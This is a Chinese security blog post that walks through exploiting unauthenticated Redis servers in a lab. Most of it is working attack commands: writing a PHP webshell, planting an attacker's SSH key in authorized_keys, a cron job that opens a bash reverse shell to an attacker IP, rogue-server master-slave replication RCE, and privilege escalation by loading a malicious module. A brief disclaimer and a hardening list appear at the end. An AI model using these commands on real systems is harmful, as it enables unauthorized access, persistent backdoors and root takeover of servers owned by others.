freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之数据库安全:redis安全
2022-02-26 09:51:45
所属地 山东省

声明:
本文仅用作学习交流,所有流程全部由本地环境完成。任何人禁止使用相关技术和工具对真实目标进行未授权测试,产生的所有后果由当事人自行承担。

简介:
REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。

Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。

Redis 通常被称为数据结构服务器,因为值(value)可以是字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。

redis存在配置不当导致的未授权访问,本文将演示redis的安装,然后复现redis漏洞。并在文章末附上防护方案。

演示环境:

操作系统:ubuntu18.04因为ubuntu利用比较难,所以这里尝试ubuntu复现
redis测试版本:
redis5.0.5
我和大家一起从安装开始踩坑避坑。

安装:

先给虚拟机拍摄快照,以后遇到问题直接恢复系统:
1.png
安装vmtools后,可以拖拽文件至虚拟机,进虚拟机后解压redis压缩包:

tar xvf redis-3.2.0.tar.gz
x 从档案文件中释放文件。
f 使用档案文件或设备,这个选项通常是必选的。
v 详细报告tar处理的文件信息。如无此选项,tar不报告文件信息。

2.png
redis安装运行需要使用make、gcc、tcl8.5以上,如果电脑没有make,可以先换源,如果你的源没有make或者存在连接不上,速度过慢等问题。我找到一个可以正常使用的源。

执行命令:
nano /etc/apt/sources.list
将下面链接复制进去,编辑完ctrl+x保存

执行命令:
nano /etc/apt/sources.list
将下面链接复制进去,编辑完ctrl+x保存
# 阿里云源
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe $
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe m$
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe$
##測試版源
deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe $
# 源碼
deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multi$
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted unive$
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted univer$
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted univ$
##測試版源
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted unive$


# 清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe$
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted$
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted $
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricte$
##測試版源
deb http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted$
# 源碼
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted univ$
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restri$
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restric$
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restr$
##測試版源
deb-src http://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restri$

然后安装make和gcc

sudo apt-get update
sudo apt-get install make
sudo apt-get install gcc
sudo apt-get install tcl

修改文件夹权限,进入目录安装:

chmod 777 redis-3.2.0 cd redis-3.2.0 make

如果出现:fatal error: jemalloc/jemalloc.h: No such file or directory
3.png

说明存在残余缓存,执行命令:

make distclean  && make

4.png

他推荐测试一下,咱们试试,这里我安装了tcl8.5,不然无法运行。

make test

5.png

运行测试有时会出现warning,但是依旧可以使用。

运行:

运行redis之前需要先修改配置文件,配置在解压目录下redis.conf
6.png

没有写权限,先增加权限

chmod 777 redis.conf

然后打开,找到bind 127.0.0.1,注释掉这句话:
7.png

然后关闭protected-mode:
8.png

把配置文件复制进src,运行src目录下的redis_server,命令如下:
9.png

sudo ./redis-server redis.conf

bind ip这个配置代表,只有绑定的ip才允许访问redis端口,否则会拒绝。

protected-mode打开代表禁止远程ip连接数据库,所以远程访问redis有两个选择:

1、bind可信ip

2、直接关闭安全保护

漏洞复现:

这里选择直接关闭安全防护,关闭bind ip。

然后远程连接:

如果本地也有redis,可以使用src文件夹的redis-cli,在src目录下执行make命令,即可编译:
10.png

登录目标:

redis-cli -h {host} -p {port} -a {password}

如果本地没有redis,可以直接使用kali中telnet:

3.2.0复现成功:
11.png

4.0.8复现成功:
12.png

5.0.5复现成功:
13.png

后续利用:
一、redis未授权写webshell

利用条件:

1.存在未授权访问或弱口令
2.redis以root运行

web环境强烈建议直接phpstudy linux版一键无脑安装。
然后启动redis,我这里启动的是5.0.5版本,远程登录redis

1.info //查看信息
2.flushall //删除所有内容
3.flushdb //刷新数据库
4.keys * //查看所有键 配合select看值
5.set test “who am i” //设置键test的值为who am i
6.config set dir dirpath //设置路径
7.config get dir/dbfilename //获取路径等信息
8.save //保存
9.get //查看变量值

写webshell:

config set dir /var/www/html
set chanra "<?php phpinfo();?>"
config set dbfilename "chanra.php"
save

这里需要闭合,因为后面会跟上一些缓存数据,php解析后会报错。
14.png

查看靶机是否被写入文件:
15.png

查看文件:
16.png

web访问,需要php解析环境,可以看到代码已经执行。
17.png

改写webshell进去:
18.png

可以看到已经覆盖了原本文件的数据:
19.png

蚁剑连接成功:
20.png

二、未授权访问连接ssh

利用条件:

1.存在未授权访问或弱口令
2.redis以root运行

ssh除了常规的密码登录,还可以使用密钥登录,这里利用redis写进我们自己的ssh密钥到目标主机,使目标接受我们的控制。

本地生成密钥:

ssh-keygen -t rsa

21.png

为了防止和里面其他数据拼接报错,所以密钥前后各加了换行符:

config set dir /root/.ssh
config set dbfilename authorized_keys
set chanra "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCyh/65AAPcbM/WyM3mrHJYLA+vKpHCmKMfSXhufw1xDH+CMCYUYF/LNMHTQu8RggkQ3eJ0oENEpWUH9E7QfQRL5ARDc3XX/xR6qo+igvclEoEBIJi6xOCKC5y266IkKTHG1PtxTrQ4cY6pu++Bn+ad7vN3vu+B/xZAXDE7GSAxh9A79fQaucS7wGTxnIbt4soia5B9SZoGSXbBeMupI5uKiifL2IROHopzmccy4v4Kn5/NmTvximmXLhlVsA0CiQwtubRAKdhSN93nCikcCqeKBXEL5ng1S3HOm+ZdBhAcCH0Vsto+l5zzyhVLXHkx1Ys9iQc5GQaoD9lNTiEVUoisdx0u7Zr5ZRwrgIWECq6dieuNJ3fHKCegIKCcPAI0yeiSj+OfhRl66JXBA3fo+c4e2mA+AHpUuedwbRDpdO+gEumPvNlPXOL2WSaoKqTEHIUAfLjtGpmIulbazlJANFSX2rvZ9bA3K1TuxuS6fPWeEHH3ij6PWY0hFIKsX4N3RE= root@kali\n\n"
save

有的系统可能没有/root/.ssh的目录,似乎用root登录一次就会有了,ssh上线成功,没有输入密码直接拿到目标root的shell。
22.png

三、计划任务反弹shell

每分钟反弹一次shell到我本机,实战需要公网ip

config set dir /var/spool/cron 
config set dbfilename root
set chanra "\n\n\n * * * * * /bin/bash -i >& /dev/tcp/192.168.2.174/7777 0>&1\n\n\n"
save

这里一共5个*号
第一个是分钟,*是每分钟
第二个是小时,*是每小时
第三个是一个月的天数,*是每日
第四个是月,*是每月
第五个是一周七天,*是一周七天
更详细的可以百度linux计划任务
然后nc监听:

nc -lvp 7777

理论上马上就会反弹shell,但是实际上行不通,换了centos尝试,先打开防火墙:

firewall-cmd --query-port=6379/tcp //查询端口状态
firewall-cmd --permanent --add-port=6379/tcp //放行6379
firewall-cmd --reload //重启防火墙
firewall-cmd --query-port=6379/tcp //查询端口状态

23.png

cent os 7反弹成功:
24.png

因为centos7是直接执行计划任务文件,且默认执行命令的为/bin/bash。

ubuntu要执行有三点:

1、ubuntu的默认执行命令的为/bin/dash,我们使用bash -i肯定是弹不了的。执行命令修改默认shell。

ln -s -f /bin/bash /bin/sh

2、ubuntu计划任务运行有语法要求,redis写入的文件存在缓存数据,导致语法错误无法运行计划任务。需要手动清除文件乱码,语法格式正确。

3、文件需要是600 rw权限,权限不对也不能运行,不过我直接写入貌似也是600 rw。

条件全部满足后反弹shell成功:
25.png

四、主从复制RCE
实际情况下,如果遇到了目标只开启了6379端口,ssh无法利用,而且没启动计划任务,就可以利用主从复制getshell。主从复制rce指的是,我们攻击者伪装成可信机器,和被害主机通信同步,加载恶意的so文件,执行命令。
我们只要知道目标的密码,或者目标存在未授权即可执行。
下载链接:

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server 

python3 redis_rogue_server.py -rhost 192.168.2.193 -lhost 192.168.2.174 -lport 12345

执行脚本,rhost是受害ip,lhost是攻击者,lport是攻击机用于通信的端口。
26.png

五、目标本地redis主从复制RCE

这个洞不是很会利用,只想到下面场景:
假如目标bind本地ip,且渗透时拿到了对方低权限用户的shell,而redis是以高权限运行。可以利用目标的redis进行RCE获得高权限。

先在攻击机启动恶意redis服务:

python3 redis_rogue_server.py -v -lport 15000 -path exp.so

反弹一个低权限shell,然后本地登录redis,准备写入恶意so文件:

config set dir /tmp 
config set dbfilename exp.so
slaveof 192.168.2.174 15000

27.png

已经同步到目标目录:
28.png

加载恶意模块:

module load /tmp/exp.so
module list

29.png

反弹shell:

system.rev 192.168.2.174 7778

30.png

得到root权限,这样我们就从普通用户提权到root用户,然后就可以为所欲为了。

安全防护方案:

1、bind可信ip地址,只允许指定ip访问。

2、设置requirepass,添加登录密码。

3、开启protected-mode,使用安全模式。

4、将默认的6379端口修改。

5、使用低权限用户运行redis,最好单独添加一个低权限用户。

修改完配置文件后,需要重新启动redis,才可以生效。

# 数据库安全 # 数据安全 # 漏洞利用 # Redis # 数据库安全加固
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者